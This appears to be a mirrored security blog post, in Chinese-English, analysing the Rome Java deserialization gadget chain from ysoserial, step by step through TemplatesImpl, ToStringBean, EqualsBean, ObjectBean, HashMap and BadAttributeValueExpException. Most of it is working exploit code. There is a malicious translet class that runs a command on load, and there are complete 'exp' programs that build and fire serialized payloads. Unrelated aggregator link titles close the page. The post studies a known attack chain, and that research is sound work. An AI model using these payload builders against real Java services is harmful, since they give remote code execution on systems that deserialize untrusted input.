当前位置:网站首页>Rome chain analysis
Rome chain analysis
2022-07-05 04:02:00 【Sk1y】
Rome Chain analysis
List of articles
ysoserial Call chain in
The top is the end of the chain , The bottom is the beginning of the chain
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
Or reverse order analysis
TemplatesImpl Internal call
TemplatesImpl Malicious bytecode can be loaded , The basic call chain is , see newTransformer(), The known call chain is as follows
TemplatesImpl-->newTransformer()
TemplatesImpl-->getTransletInstance()
TemplatesImpl-->defineTransletClasses()
TemplatesImpl-->defineClass()
Be careful getOutputProperties() Method is called newTransformer() Method
So the call here is
TemplatesImpl-->getOutputProperties()
TemplatesImpl-->newTransformer()
TemplatesImpl-->getTransletInstance()
TemplatesImpl-->defineTransletClasses()
TemplatesImpl-->defineClass()
Write a calc1.java
//calc1.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class calc1 extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) {
System.out.println(1);
}
public calc1() throws Exception{
super();
Runtime.getRuntime().exec("calc");
}
}
Compile the generated class file , And then dynamically load
public static void main(String[] args) throws Exception {
// Malicious bytecode
String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
Path path = Paths.get(fileName);
byte[] bytes = Files.readAllBytes(path);
String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode(bytes1);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); // Cannot be set to null, Or return to null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.getOutputProperties();
}
Running results
The next step is to see how to call TemplatesImpl.getOutputProperties()
ToStringBean.toString()–>TemplatesImpl.getOutputProperties()
ToStringBean The constructor of is public Of , You can pass in a class and object
Let's see ToStringBean Class toString Method
To follow up getPropertyDescriptors
Method , Will get _beanClass
All of the getter and setter Method , and _beanClass
It's under our control
getPDs Method in BeanIntrospector Overload in class
getOutputProperties
accord with get The format at the beginning , So we can use this ToStringBean.toString() To trigger TemplatesImpl.getOutputProperties()
Comment out the original trigger point , Then add... At the end of the above code
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
toStringBean.toString();
debugged
If you find it, you will call the parameterless toString(), Then call the parameter toString(prefix)
And then to getPDs, Will get getter Method
And then you'll see , in total 5 A way , Cycle call ,getOutputProperties In the third
then invoke To call
Running results
Next , Is the trigger ToStringBean.toString()
EqualsBean.hashCode–>ToStringBean.toString()
EqualsBean Class hashCode()–>beanHashCode()–>toString()
Where member variables _obj
controllable
Comment the original trigger point , add to
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
equalsBean.hashCode();
Running results
ObjectBean.hashCode–>toString
ObjectBean Class can trigger hashCode, It can also trigger toString()
Look at this constructor
We can find out , There are many possibilities for this part of the call chain , Here is a screenshot of the boss' blog
HashMap–>hashCode
HashMap Class is used to call hashcode() Methodical
HashMap Of readObject Method is called hash() Method
To follow up hash(), Found called key.hashCode()
We know ,HashMap Of put() Method Insert the specified key value pair into HashMap in
example
package test;
import java.util.HashMap;
public class hashmap_test {
public static void main(String[] args) {
HashMap<Integer, String> map = new HashMap<>();
map.put(1,"sss");
System.out.println(map);
}
}
Running results
But here actually put When , It will also cause the calculator to bounce , because put Call in hash(), It's done directly
This can be modified by reflection , Put it in first, harmless , Then replace the malicious class _equalsBean
This thing can't be implemented , Unknown cause , I am here debug When , Follow me
When i=2 when , Would call getOutputProperties, That is, it can execute calc 了
But when i=1 When , In execution
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
This is going to happen
Jump to the
And then it didn't and then , Straight out , Don't execute i=2 The situation of
Solutions to problems encountered
Put the following code TemplatesImpl.class
Replace with Templates.class
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
exp
package Rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class Rome2 {
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// Malicious bytecode
String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
Path path = Paths.get(fileName);
byte[] bytes = Files.readAllBytes(path);
String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);
byte[] code = Base64.getDecoder().decode(bytes1);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); // Cannot be set to null, Or return to null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//
ObjectBean objectBean = new ObjectBean(String.class, "1"); // Write a normal class here
HashMap<Object, Integer> hashMap = new HashMap<>();
hashMap.put(objectBean,1);
setFieldValue(objectBean,"_equalsBean",new EqualsBean(ToStringBean.class,toStringBean)); // Reflection writes malicious classes
ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout);
oout.writeObject(hashMap);
byte[] sss = baout.toByteArray();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sss));
ois.readObject();
}
}
BadAttributeValueExpException
Based on the above analysis , stay ObjectBean Class , Can be called directly toString To make the call ToStringBean.toString()
And trigger toString Can pass BadAttributeValueExpException Trigger
exp
package Rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class Rome2 {
public static void unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain);
oin.readObject();
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// Malicious bytecode
String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
Path path = Paths.get(fileName);
byte[] bytes = Files.readAllBytes(path);
String bytes1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(bytes1);
byte[] code = Base64.getDecoder().decode(bytes1);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); // Cannot be set to null, Or return to null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
ObjectBean objectBean = new ObjectBean(String.class, "1");
setFieldValue(objectBean,"_toStringBean",toStringBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
setFieldValue(badAttributeValueExpException,"val",objectBean);
unserialize(serialize(badAttributeValueExpException));
}
}
Running results
Call the process
Simplify it a little bit
But analyze the code 2 Call to , Why not just from BadAttributeValueExpException Call directly to ToStringBean, And skip ObjectBean
The main codes are as follows
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); // Cannot be set to null, Or return to null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
setFieldValue(badAttributeValueExpException,"val",toStringBean);
unserialize(serialize(badAttributeValueExpException));
Running results
Reference link
边栏推荐
- 北京程序员的真实一天!!!!!
- Basic function learning 02
- Resolved (sqlalchemy+pandas.read_sql) attributeerror: 'engine' object has no attribute 'execution_ options‘
- [untitled]
- 我就一写代码的,王总整天和我谈格局...
- 行为感知系统
- How about programmers' eyesight| Daily anecdotes
- CTF stegano practice stegano 9
- 25K 入职腾讯的那天,我特么哭了
- Differences among 10 addressing modes
猜你喜欢
PlasticSCM 企业版Crack
Threejs realizes the drawing of the earth, geographical location annotation, longitude and latitude conversion of world coordinates threejs coordinates
EasyCVR平台出现WebRTC协议视频播放不了是什么原因?
【刷题】BFS题目精选
Containerd series - what is containerd?
How about programmers' eyesight| Daily anecdotes
About the recent experience of writing questions
Online sql to excel (xls/xlsx) tool
面试汇总:这是一份全面&详细的Android面试指南
UI自动化测试从此告别手动下载浏览器驱动
随机推荐
[web Audit - source code disclosure] obtain source code methods and use tools
Why do big companies such as Baidu and Alibaba prefer to spend 25K to recruit fresh students rather than raise wages by 5K to retain old employees?
Rome链分析
Deep learning - LSTM Foundation
UI自动化测试从此告别手动下载浏览器驱动
English essential vocabulary 3400
Deflocculant aminoiodotide eye drops
企业级:Spire.Office for .NET:Platinum|7.7.x
Threejs factory model 3DMAX model obj+mtl format, source file download
[数组]566. 重塑矩阵-简单
Online text line fixed length fill tool
在线SQL转Excel(xls/xlsx)工具
error Couldn‘t find a package. JSON file in "your path“
provide/inject
Clickhouse同步mysql(基于物化引擎)
Redis source code analysis: redis cluster
MindFusion. Virtual Keyboard for WPF
Resolved (sqlalchemy+pandas.read_sql) attributeerror: 'engine' object has no attribute 'execution_ options‘
Basic function learning 02
阿里云ECS使用cloudfs4oss挂载OSS